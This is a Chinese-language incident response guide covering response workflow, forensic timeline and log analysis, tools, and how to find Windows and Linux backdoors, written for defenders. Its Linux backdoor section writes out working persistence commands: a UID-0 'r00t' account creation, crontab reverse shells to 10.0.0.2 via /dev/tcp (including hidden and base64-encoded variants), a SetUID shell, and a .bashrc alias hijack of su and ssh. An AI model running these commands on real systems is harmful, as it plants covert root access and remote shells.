一、相关概念

应急响应(Incident Response):安全人员在遇到突发事件后所采取的措施和行动。
突发事件:发生在计算机系统或网络上威胁安全的事件。如黑客入侵、信息窃取等。
事件响应:信息安全生命周期的必要组成部分,这个生命周期包括:对策、检测和响应。
场景:运维人员无法迅速处理安全事件时,需要第三方厂商提供一种能发现并解决问题的有效服务手段。
职责:控制影响范围确保业务正常运转、还原攻击场景、找到问题根源、最后追溯攻击源。
目的:以最快速度恢复系统的保密性、完整性和可用性,阻止和减小安全事件带来的影响。
目标:积极预防、及时发现、快速反应、确保恢复。

二、应急响应流程

1、通用型流程

1、准备(Preparation)

安全支撑平台:防火墙、入侵检测系统(IDS)等
日常安全管理:运维操作记录
应急预案:设备故障应急操作、攻击如何处理、获取外部支持、风险分析(规避措施)

2、检测(Detection)

主动发现:预警的及时性和全局性,为后续处理争取时间
被动发现:网络使用者的报告,业务用户的投诉
影响范围:单用户、多用户,已发生的、处于危险中的(还未发生)

3、分类(Classification)

攻击事件:大流量攻击、业务应用攻击
入侵事件:应用系统后门、web站点入侵
病毒事件:网络蠕虫病毒、ARP欺骗病毒
其他:网络或系统异常、敏感信息泄露

4、抑制(Containment)

已发生安全事件的:采取隔离、用边界控制设备防止网络区域内相互影响
处于危险中的:采取补救加固、漏洞扫描与修补、安全测试

5、根除(Eradication)

安全事件分析-了解危害程度-确定事件原因-针对性防范措施-是否有存在遗漏-调整平台安全策略

6、恢复(Recovery)

对主机和网络控制的恢复
从备份中恢复受损的数据
调整可能影响业务正常运转的策略

7、后续(Follow-up)

总结并指导今后的应急管理
必要时申请司法程序介入

2、个人总结的流程

步骤简述:接案–取证–分析侦察–锁定嫌疑人–结案

接案

1、因为攻击者经验、隐蔽性不足被发现

炫耀型——上传黑页、到此一游.txt
政治目的型——重点攻击政府站点、Anonymous(匿名者)
利益型——暗链、SEO推广、勒索、挖矿
抓鸡型——1433、mysql自动抓鸡、SSH暴力破解
持续型——长期潜伏式攻击、APT
DDOS攻击型——SYN Flood、CC攻击
蠕虫感染型——内网传播、Conficker、WannaCry

取证

1、保护第一现场

操作日志、应用日志
攻击者的残留文件

2、不轻信一面之词

与目击者交流相关细节
亲自核实所述、转述情况

分析侦察

1、三要素法-时间

攻击发现时间
-------目击者报案时间

后门文件时间
-------windows时间问题(创建时间等可以修改)
-------Linux下ctime(change time)

异常时间段内
-------web访问日志、操作系统认证日志、应用设备日志

2、三要素法-地点

webshell首次出现目录
-------上传漏洞——img_upload
-------代码执行——dedecms变量覆盖
-------后台上传——system_upload

残留文件所在目录
-------自动化攻击——批处理文件、shell脚本
-------人为上传\下载——桌面、下载目录

3、三要素法-事件

应用后台日志
-------登录日志——是否有非法账户
-------篡改记录——是否是从数据库修改
-------上传点——黑客最钟爱功能

web访问日志
-------SQL注入——order by
-------暴力破解——认证接口页面
-------代码执行——Struts2、java反序列化漏洞

对外应用访问日志
-------FTP访问日志——日志文件配置
-------SSH认证日志——Accept、Failed

操作历史记录
-------web运行账户——反弹执行命令
-------root用户——是否被提权
-------易受攻击账户——oracle、db2、weblogic

登录日志为二进制格式文件,无法被逐条删除(日志要么全清,要么完整)
—linux
-------wtmp—who -u /var/log/wtmp
-------btmp—last -f /var/log/btmp
-------lastlog—lastlog -f /var/log/lastlog
—windows
-------事件日志大小配置——默认覆盖
-------安全性事件——审核成功与失败

操作系统完整性检查
-------进程:非法程序、dll注入、/proc/PID
-------网络:监听端口、异常连接
-------账户:UID=0(注意Liunx下是无隐藏账号的)、administrators、admin$
-------启动项:crontab –l、inittab、rc.local、services.msc、msconfig

4、回溯攻击法

分析可能被攻击途径,进行模拟攻击
----主机监听端口整理
-------1、对应应用
-----------弱口令——FTP、SSH
-----------暴力破解——MYSQL、MSSQL
-----------代码执行——web攻击、应用漏洞
-------2、对外端口——防火墙策略

密码泄露
-------厂商应用口令——搜索引擎
-------数据库口令——web应用配置文件

中间人攻击
-------ARP攻击——劫持与嗅探

内部发起攻击
-------统一口令——windows域环境
-------溢出攻击——SMB缓冲区漏洞

5、经验法

攻击者常用的目录
-------/var/tmp、/tmp、/dev/shm、RECYCLER

特征文件
-------/tmp/angel_bc—phpspy木马反弹脚本
-------bqufe.sys(随机)—PcShare类远控木马
-------hxdef100.ini—Hacker Defender Rootkit

黑客惯用手法
-------操作系统后门:ushift后门、sshd backdoor
-------一句话木马:插入文件、php变形、包含图片

利用搜索功能
-------包含隐藏文件——Everything
-------n*24H内修改过的文件——find / -ctime -n

锁定嫌疑人

1、木马分析

静态逆向分析——IDA、OllyDbg
动态分析——抓包、内存截取

2、日志分析

web访问——webshell首次访问IP
登录记录——windows&linux
通过nmap扫描确认是否为跳板

结案

1、技术层面

漏洞确认及修补、后门清理与观察、涉及知识点学习、安全攻防技能培训

2、管理层面

报告整理输出、详细整改建议、攻击过程再现、流程制度规范

三、应急响应常用工具

常用应急响应工具及常用命令如下:

常见工具-windows

系统启动相关:	
		Autoruns 、Msconfig 、Net 
系统进程分析监控:	
		Process explorer、Process Monitor、Tasklist
端口网络状态:	
		Tcpview、Currports、Netstat
综合安全检测:	
		Wsyscheck、PowerTool、PCHunter、WIN64AST

常见工具-Linux

rookit检查:	
		Rkhunter、chkrookit、LiveCD引导拯救光盘
系统相关命令:	
		ps、pstree、pmap、top、kill
		ls、strings、strace、readelf、rmp
		lsof、netstat
		chkconfig、crontab

通用检查工具

Webshell检查:
		WebShellKill、HwsKill、Everything
		Webshell.py、find、grep、findstr
网络攻击相关:	
		Sniffer Pro、WinArpAttacker
		Tcpdump、wireshark、Colasoft Capsa
日志分析工具:	
		Logview、LogParse、EmEditor

四、后门检测与查杀-windows/linux

1、常见的windows自启动方法

1、开始菜单\程序\启动
2、开机启动项(msconfig)

注册表:HKLM\Software\Microsoft\Windows\CurrentVersion\Run

3、注册为系统服务(services.msc)
4、任务计划启动(Schedule)
5、AUTOEXEC.BAT(NT 5.x)
6、系统程序替换 (ctfmon、conime)
7、组策略脚本(gpedit.msc)

2、特殊的windows自启动方式

1、Load加载

HKCU\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load

2、Winlogon加载

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit
--管理系统各项启动顺序、逗号分隔加入其它程序

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify
--关联特定的事件(安全模式启动)、产生事件通知时检查并调用相关DLL

3、映像劫持IFEO

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

4、DLL劫持

lpk.dll、usp10.dll、ws2help.dll

5、关联特定程序

HKEY_CLASSES_ROOT\txtfile\Shell\open\command
HKLM\SOFTWARE\Microsoft\CommandProcessor\AutoRun

6、ActiveX自启动(DRAT2010)

HKLM\Software\Microsoft\ActiveSetup\InstalledComponents\{…}\stubpath

3、线程注入类木马

将自身线程注入到其他合法程序中,在宿主进程中,以线程的方式执行木马代码。以非进程方式执行代码,可以逃避进程查看器检查,实现进程隐藏。Process Explorer(增强任务管理器)、XueTr(手工杀毒软件)等工具具有查看结束线程以及挂起和恢复线程的功能。

代表木马:灰鸽子远程控制(RAT)。
工具:Process Explorer、XueTr

4、ActiveX启动类木马

Active Setup键值:

--HKLM\Software\Microsoft\ActiveSetup\InstalledComponents

已安装windows组件信息(office、IE、OS)。每个键值作为相应组件在系统中的ID标示。进入桌面时先于其它自启动程序加载。

StubPath=%systemroot%\Trojan.exe

通过线程注入方式,实现木马自身功能。

代表木马:彩虹桥远程监控木马(Bifrost)。
工具:PCHunter-手工杀毒软件

5、DLL注入类木马

由于windows系统服务过多,为了节省系统资源,微软将很多服务做成共享方式,交由svchost进程来启动。服务以dll形式实现,将执行程序指向svchost,由其调用相应服务的动态链接库文件来启动服务。

svchost作为宿主进程,并不提供任何服务系统。svchost是一个用于加载系统服务的宿主程序。此类木马更具迷惑性,同时容易绕过防火墙限制。

代表木马:PcShare远程控制。
工具:Wsyscheck-系统检测工具

6、SSDT HOOK类木马

System Services Descriptor Table(系统服务描述符表)。将Ring3下的Win32 API和Ring0下内核API函数相互联系起来,即告诉系统,需要调用的API在什么地方。

通过修改SSDT表的函数地址可以对常用windows函数及API进行hook,如杀毒软件的主动防御功能即采用此接口来实现监控。利用驱动程序在ring0态将SSDT恢复为原始状态,即可使安全软件的主动防御和监控功能失效。

代表木马:gh0st。
工具:PowerTool-手动杀毒辅助工具

7、windows常见后门

1、windows登陆界面:粘滞键(sethc)、放大镜(magnify)、屏幕键盘(osk)
2、密码截取记录:WinlogonHack、PwDump、wce
3、自启动相关:计划任务、组策略脚本、DLL劫持
4、其他:隐藏(克隆)账户、反弹程序

8、Linux自启动方式

1、/etc/rc.local 开机启动脚本
2、/etc/init.d/ 服务启动脚本
3、/etc/inittab 初始化配置文件
4、crond 自动调度任务(计划任务)
5、/etc/ld.so.preload 加载动态库.so文件
6、环境变量设置
	如:/etc/profile、.bash_profile、.bash_login、.bash_logout
7、使用patch并编译的文件覆盖正常程序

9、Linux常见后门

1、自启动相关配置文件修改

useradd -u 0 -o -g root -G root r00t;echo r00t:p@ssw0rd | chpasswd

2、SetUID权限位

chmod u+s /tmp/.bash
find / -perm -4000

3、SSHD相关后门

pam认证文件修改(pmap PID | grep security)
sshd backdoor(rpm -vf /usr/sbin/sshd)

10、Linux--crontab后门

1、添加任务

(crontab -l;echo '*/1 * * * * exec 9<>/dev/tcp/10.0.0.2/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

2、隐藏任务

printf "*/1 * * * * exec 9<> /dev/tcp/10.0.0.2/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for 'whoami'%100c\n" | crontab -

3、base64编码

exec 9<> /dev/tcp/10.0.0.2/53;exec 0<&9;exec 1>&9
(echo '*/1 * * * * a=`echo "ZXhlYyA5PD4gL2Rldi90Y3AvMTAuMC4wLjIvN =="|base64 –d`;/bin/bash -c "$a";unset a')|crontab -  
#注意闭合符号的组合

11、Linux—bash shell后门

1、.bash_profile

用户设置的环境变量,在登陆时执行,调用bashrc

2、.bashrc

登录及打开shell时读取执行,继承profile中变量

3、设置别名与函数。修改.bashrc文件

alias su="~/.subtty su"
alias ssh="~/.subtty ssh“
if [ -z "$SUBTTY" ]; then exec ~/.subtty; fi

12、Linux下相关工具

1、tripwire
文件系统完整性检查,建立指纹数据库。大小、HASH、所有者、群组、存取权限等

2、chkrootkit、rootkit hunter
恶意程序安全查杀工具。rootkit、后门、漏洞利用程序。基于特征关键字检索,可被绕过

13、Linux下手工分析

1、RPM包可信校验

rpm -Vf (ps/pstree/lsof/kill/netstat/ls/dir/find/sshd)

2、进程查看:

pstree / ps -aux (START列为程序开始运行时间)

3、端口状态及网络连接

netstat -lntp (非root用户只能看到部分连接的PID)
lsof -Pnl -i tcp:80

4、进程文件路径

ls -l /proc/PID/exe

5、结束进程

killall httpd
kill -9 “ps -ef | grep test | awk '{print $2}'”

6、状态检查

top(内存/CPU排序)、lsmod(内核模块)
ls -last(按修改时间排序)、stat(文件访问、修改、状态改动时间)

7、启动项检查

ls -lh /var/spool/cron/
chkconfig --list |grep 3:on